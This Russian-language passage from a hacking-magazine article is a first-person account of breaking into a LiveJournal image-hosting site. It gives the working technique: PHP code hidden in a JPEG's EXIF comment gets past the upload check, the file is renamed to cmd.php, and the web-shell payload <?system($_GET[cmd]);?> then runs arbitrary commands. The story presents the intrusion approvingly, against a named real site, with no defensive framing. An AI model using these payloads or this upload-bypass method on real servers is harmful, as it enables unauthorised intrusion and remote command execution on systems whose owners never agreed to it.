ЖивоЖурнальная атака Master-lame-master Хакер, номер #075, стр. 075-044-2 Прямоугольник Малевича Подумав, что одной багой взлом не ограничивается, я стал искать другие уязвимые скрипты. И тут в мою голову закралась блестящая мысль – попробовать залить на сервер PHP-скрипт, а затем выполнить его. Сам ресурс, как я уже говорил, служит для хранения картинок, выкладываемых в Живой Журнал. Осталось проверить возможность загрузки левых файлов на сервак. Создав тестовый сценарий, я обозвал его красивым именем пьяный_b00b1ik.jpg и приказал серверу слить фейковое изображение, но не тут-то было – скрипт разорался на несоответствие форматов и послал меня куда подальше. Сперва я подумал, что ошибка вызвана маленьким размером файла. Пришлось натыкать кучу комментариев в мой элитный скрипт и повторить попытку. Но опять меня ждала неудача - по-видимому, программист реально внедрил в скрипт проверку правильности контента. Но подобная проверка вызывала лишь улыбку на моем небритом лице. Ведь у меня в запасе была целая куча способов обхода подобных ограничений. Если сценарию нужна картинка, только картинка и ничего кроме картинки – я с радостью ему ее предоставлю. Только слегка измененную. Я думаю, тебе известен факт поддержки так называемых тэгов в изображении. Любой желающий может вставить в рисунок имя автора, название изображение и комментарий. Именно комментарий я и хотел установить в поддельном рисунке. Быстро запустив фотошоп, я нарисовал замечательный прямоугольник и закрасил его черным цветом. Художник из меня, прямо скажем, никакой, поэтому вместо ожидаемого квадрата я нарисовал прямоугольник Малевича. Затем я закрыл редактор и открыл вьюер изображений AcdSee. Там, в правом нижнем углу, находилось поле для введения EXIF-тэгов. Активировав поле для ввода комментариев, я записал незамысловатую фразу <?system("id");?>. Те, кто хоть немного знаком с PHP, знают, что означает эта конструкция. Залить произведение Малевича мне удалось без особых проблем. Так как рисунок являлся реальной картинкой, хоть и немного кривой, аплоадер спокойно сохранил файл на сервере. Затем, обладая навыками переименования, я обозвал файл malevi4.jpg именем cmd.php. Все опять прошло без сучка и задоринки. Теперь я обратился по ссылке http://lj.com.ua/img/tapo4ki/cmd.php и... получил символ ошибки при загрузке изображения, как будто ссылка на картинку была неправильной. Но что-то мне подсказывало, что я на верном пути. Я зашел на удаленный шелл, слил картинку wget’ом и открыл ее подручным редактором. И чудо! Внутри изображения вместо моего комментария находилась информация о правах на сервере! Охота на базу Примечательно, но только комментарии могут интерпретироваться как PHP-код. Если задать тэг «Имя автора», то при попытке загрузить такую картинку сервер вернет непонятную ошибку и не выполнит заветный код. Зная все эти тонкости, я слегка модифицировал мой чудесный прямоугольник :). Чтобы добиться некоторой универсальности, мне пришлось изменить комментарий на выражение <?system($_GET[cmd]);?>. Даже если на сервере опция Register_globals была отключена, мне все равно удалось бы выполнить любой командный запрос. |